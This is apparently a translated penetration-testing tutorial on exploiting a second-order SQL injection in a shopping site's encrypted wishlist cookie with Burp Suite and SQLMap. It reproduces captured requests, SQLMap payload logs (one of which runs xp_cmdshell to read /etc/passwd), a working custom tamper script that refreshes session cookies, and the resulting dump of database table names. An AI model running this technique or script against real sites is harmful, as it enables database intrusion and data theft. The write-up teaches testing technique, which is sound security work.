Web安全:如何借助Burp和SQLMap Tamper利用二次注入

Web应用已经从简单的脚本逐渐发展成完整的页面应用程序,然而越复杂的Web应用就越容易出现不同类型的安全漏洞,其中的一种就是二次注入漏洞。攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。

我们知道,在任何地方都可能会出现二次注入漏洞。不仅仅是在同一应用中,使用了相同数据源的不同Web应用也可能会出现这一漏洞。因此,我们几乎没办法通过自动扫描来检测到它们。

本文将以某商城网站为例,尝试借助Burp Suite和SQLMap Tamper利用二次注入。

手工渗透方法

渗透能否成功,往往取决于我们对目标的理解程度。因此,我通常会像普通用户一样花一两天的时间在我的目标上,以理解其整个工作流程。在做每件事情和提交表单时,我会尝试遵循表单域的命名约定。

为主模块(例如发票、新闻、费用信息等,通常是在导航栏看到的内容)设置一个关键字。

假如说我们正在浏览“门票”模块,并且表单需要提供一个名称和电子邮件地址。

用户名:johnticket1

邮件:johnticket1@yopmail.com

这样有助于跟踪数据的来源,如果我们在渗透过程中(一个APP的渗透通常需要5-6天时间),看到johnticket1在其他地方出现,那么我们就知道了攻击的目标是哪个向量。

第一阶段:检测

在浏览目标时,我在Burp Suite的日志中看到了这样的请求和响应:

GET /wishlist/add/9 HTTP/1.1

Host: targetwebapp

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://targetwebapp/

Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D

X-Forwarded-For: 127.0.0.1

True-Client-Ip: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

----

HTTP/1.1 302 Found

Date: Tue, 01 Aug 2017 07:31:12 GMT

Server: Apache/2.4.18 (Ubuntu)

Cache-Control: no-cache, private

Location: http://targetwebapp/

Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/

Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly

Content-Length: 324

Connection: close

Content-Type: text/html; charset=UTF-8

Redirecting to http://targetwebapp/

Redirecting to http://targetwebapp/.

我正在向wishlist中添加一个产品。这一操作完成后,应用程序会重定向回主页。如果浏览另一个模块(/wishlist/),就可以看到这个产品的详细信息。

值得注意的是,我们在HTTP响应中看到了一个新的Set-Cookie参数。为了验证,我又尝试在wishlist中添加了几个不同的产品,结果每个请求都得到了新的Set-Cookie。

由此可知:在没有登录的前提下,应用程序能够跟踪我添加的产品;当我用不同的ID重复上述请求,我都会得到Set-Cookie。

现在,已经可以分析出,应用程序在我的cookie中存储了产品的ID值,并在将其发回我之前进行了加密。至此,我认为我的目标是一个Laravel的应用程序,原因在于其XSRF-TOKEN cookie名称和cookie加密都是Laravel框架默认的设定。

在这里,最重要的是要知道:我通过/wishlist/add/提交的任何内容,都会存储在我加密后的cookie里。如果我浏览/wishlist/路径,应用程序接下来的步骤是:

获取cookie;

解密cookie;

获取来自cookie数据的wishlist数组;

在查询中使用此数组;

显示所需产品的详细信息。

第二阶段:自动化工具问题

事实上,无论是Burp还是Netsparker都无法检测到这一SQL注入

。为了让大家更清晰地了解这一点,下面是自动化工具的通用工作流程:

登录应用,或者使用提供的cookie;

发送/wishlist/add/9" and 1=1 -- 或 /wishlist/add/9'or 1=1-- 或 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1--等有效载荷;

计算请求与响应之间的时间间隔;

对HTTP响应的body进行分析;

等待外部请求。

从上述流程可以看到,扫描器不会看到HTTP响应正文的任何不同。同时,响应和请求之间并不会有太大的时间间隔。应用程序只需将输入内容储存到其他地方(在这里是将cookie加密)。

当扫描器扫描过每一个单独的URL后,会开始访问SQL查询执行的位置,即/wishlist/。但是,由于其具有多个SQL payload,工具已经打乱了SQL结构,因此将只能看到HTTP 500错误。

第三阶段:让SQLMAP再显神威

下面是SQLMap生成的前五个HTTP请求,特别是前两个一直保持不变。

~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3

[11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'("XSS")',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#

[11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:48:57] [INFO] testing if the target URL is stable

[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic

[11:48:58] [PAYLOAD] 9(..,)),('"

[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable

[11:48:58] [PAYLOAD] 9'AGZHkYBubyju

[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:48:59] [INFO] testing for SQL injection on URI parameter '#1*'

[11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305

[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355

[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:49:00] [PAYLOAD] 9 AND 5896=8011

[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:49:00] [PAYLOAD] 9 AND 3274=3274

[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU

[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB

[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP

[11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC

我们仔细研究前两个payload,会发现SQLMap在尝试检测WAF,然后被应用程序强制进行编码。随后,通过不断发送payload,试图找出SQL查询的语法形式。但问题在于,所有这些payload将被存储在cookie上,这就意味着每当SQLMap进行二次注入,都会出现HTTP 500错误。还有,第一个请求已经弄乱了SQL语法,这导致SQLMap的其他攻击将会出现问题。

因此,我们需要为SQLMap生成的每一个HTTP请求提供一个新的会话。我通过自定义的tamper脚本解决了这一问题。

下列HTTP请求和响应是我们强制应用程序启动新会话的方法:

GET / HTTP/1.1

Host: targetwebapp

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

X-Forwarded-For: 127.0.0.1

True-Client-Ip: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

---

HTTP/1.1 200 OK

Date: Tue, 01 Aug 2017 06:31:36 GMT

Server: Apache/2.4.18 (Ubuntu)

Cache-Control: no-cache, private

Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/

Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly

Vary: Accept-Encoding

Connection: close

{C} Content-Type: text/html; charset=UTF-8

Content-Length: 22296

它可以执行如下步骤:

将请求发送到主页,而不提供任何cookie;

解析Set-Cookie并获取XSRF-TOKEN和SESSION;

更新由SQLMap生成的HTTP请求;

对于每一次SQLMap的检测,都会有一个新的SESSION,当SQLMap在发送payload后尝试/wishlist/时,从/wishlist/得到的响应将只与前一个payload相对应。

在此,我建议你使用https://github.com/h3xstream/http-script-generator 的工具,作者是Philippe Arteau,这一扩展脚本可以重新生成指定的请求。

下面是我的SQLMap tamper模块,它向主页发送HTTP请求并检索新的cookie值,最后会更新SQLMap生成的HTTP请求的cookie值。

#!/usr/bin/env python

"""

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)

See the file 'doc/COPYING' for copying permission

"""

import requests

from lib.core.enums import PRIORITY

from random import sample

__priority__ = PRIORITY.NORMAL

def dependencies():

pass

def new_cookie():

session = requests.Session()

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}

response = session.get("http://targetwebapp/", headers=headers)

XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0]

SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "")

return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION)

def tamper(payload, **kwargs):

headers = kwargs.get("headers", {})

headers["Cookie"] = new_cookie()

return payload

sqlmap git:(master) python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py

...

Database: XXX

[12 tables]

+------------------------------------------------------+

| categories |

| comments |

| coupon_user |

| coupons |

| migrations |

| order_product |

| orders |

| password_resets |

| products |

| subscribers |

| user_addresses |

| users |

+------------------------------------------------------+

经验

可以使用自动扫描器,但不要轻易相信它的结果。

如果可能,请让有能力的人对应用进行手动渗透。

如果你是渗透测试者,请牢记:是你进行了渗透测试,而不是工具,工具只是一个辅助。

有一个好思路非常关键。